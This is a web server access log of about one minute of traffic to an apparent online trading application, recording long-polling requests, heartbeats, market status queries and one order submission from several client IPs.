[09/Jan/2026:09:28:49 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922398297 HTTP/1.1" -
[09/Jan/2026:09:28:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922414223 HTTP/1.1" -
[09/Jan/2026:09:28:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:28:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:28:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:28:51 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:28:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922405688 HTTP/1.1" -
[09/Jan/2026:09:28:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922403205 HTTP/1.1" -
[09/Jan/2026:09:28:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:28:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:28:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:28:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:28:54 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922403059 HTTP/1.1" -
[09/Jan/2026:09:28:55 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922404302 HTTP/1.1" -
[09/Jan/2026:09:28:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:28:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:09:28:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:28:56 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1211
[09/Jan/2026:09:28:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922420232 HTTP/1.1" -
[09/Jan/2026:09:28:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922408231 HTTP/1.1" -
[09/Jan/2026:09:28:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922410841 HTTP/1.1" -
[09/Jan/2026:09:29:00 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922409049 HTTP/1.1" -
[09/Jan/2026:09:29:01 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922410298 HTTP/1.1" -
[09/Jan/2026:09:29:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922426234 HTTP/1.1" -
[09/Jan/2026:09:29:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922413258 HTTP/1.1" -
[09/Jan/2026:09:29:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922415960 HTTP/1.1" -
[09/Jan/2026:09:29:06 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922415059 HTTP/1.1" -
[09/Jan/2026:09:29:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:29:07 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 8
[09/Jan/2026:09:29:07 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922416291 HTTP/1.1" -
[09/Jan/2026:09:29:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922432224 HTTP/1.1" -
[09/Jan/2026:09:29:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922418293 HTTP/1.1" -
[09/Jan/2026:09:29:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922421102 HTTP/1.1" -
[09/Jan/2026:09:29:12 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922421055 HTTP/1.1" -
[09/Jan/2026:09:29:13 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922422299 HTTP/1.1" -
[09/Jan/2026:09:29:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922423308 HTTP/1.1" -
[09/Jan/2026:09:29:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922426250 HTTP/1.1" -
[09/Jan/2026:09:29:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922438226 HTTP/1.1" -
[09/Jan/2026:09:29:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:29:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Product HTTP/1.1" 304
[09/Jan/2026:09:29:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:29:16 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 8
[09/Jan/2026:09:29:18 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922427055 HTTP/1.1" -
[09/Jan/2026:09:29:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922428336 HTTP/1.1" -
[09/Jan/2026:09:29:19 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922428297 HTTP/1.1" -
[09/Jan/2026:09:29:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922431401 HTTP/1.1" -
[09/Jan/2026:09:29:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922444229 HTTP/1.1" -
[09/Jan/2026:09:29:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:29:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:29:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:29:21 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:29:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922433352 HTTP/1.1" -
[09/Jan/2026:09:29:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:29:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:29:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:29:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:29:24 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922433047 HTTP/1.1" -
[09/Jan/2026:09:29:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922436523 HTTP/1.1" -
[09/Jan/2026:09:29:25 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922434293 HTTP/1.1" -
[09/Jan/2026:09:29:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922450223 HTTP/1.1" -
[09/Jan/2026:09:29:29 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922438386 HTTP/1.1" -
[09/Jan/2026:09:29:29 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922441570 HTTP/1.1" -
[09/Jan/2026:09:29:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:29:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:29:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:29:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:29:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922439857 HTTP/1.1" -
[09/Jan/2026:09:29:31 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922440290 HTTP/1.1" -
[09/Jan/2026:09:29:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922456232 HTTP/1.1" -
[09/Jan/2026:09:29:34 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922443426 HTTP/1.1" -
[09/Jan/2026:09:29:35 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922446715 HTTP/1.1" -
[09/Jan/2026:09:29:36 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922445058 HTTP/1.1" -
[09/Jan/2026:09:29:37 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922446293 HTTP/1.1" -
[09/Jan/2026:09:29:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922462224 HTTP/1.1" -
[09/Jan/2026:09:29:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:29:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:29:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:29:39 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:29:39 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922448457 HTTP/1.1" -
[09/Jan/2026:09:29:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:29:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:09:29:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:29:39 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:29:40 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922451845 HTTP/1.1" -
[09/Jan/2026:09:29:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:29:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/OrderMaxQuantity HTTP/1.1" 8
[09/Jan/2026:09:29:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:29:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:09:29:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:09:29:41 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/PreOrder HTTP/1.1" 1205
[09/Jan/2026:09:29:42 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922451046 HTTP/1.1" -
[09/Jan/2026:09:29:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:29:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/Csrf?url=/Order HTTP/1.1" 126
[09/Jan/2026:09:29:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:29:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/LoginKey HTTP/1.1" -
[09/Jan/2026:09:29:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:29:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Order?csrf_nonce=B7F2419B55EEC6307891BAED473C9B3A HTTP/1.1" 1019
[09/Jan/2026:09:29:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:29:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/sc/buy_ticket.html? HTTP/1.1" 1996
[09/Jan/2026:09:29:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:29:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:09:29:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:29:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:09:29:43 +0800] 221.124.232.198 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/13511?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767922452299 HTTP/1.1" -
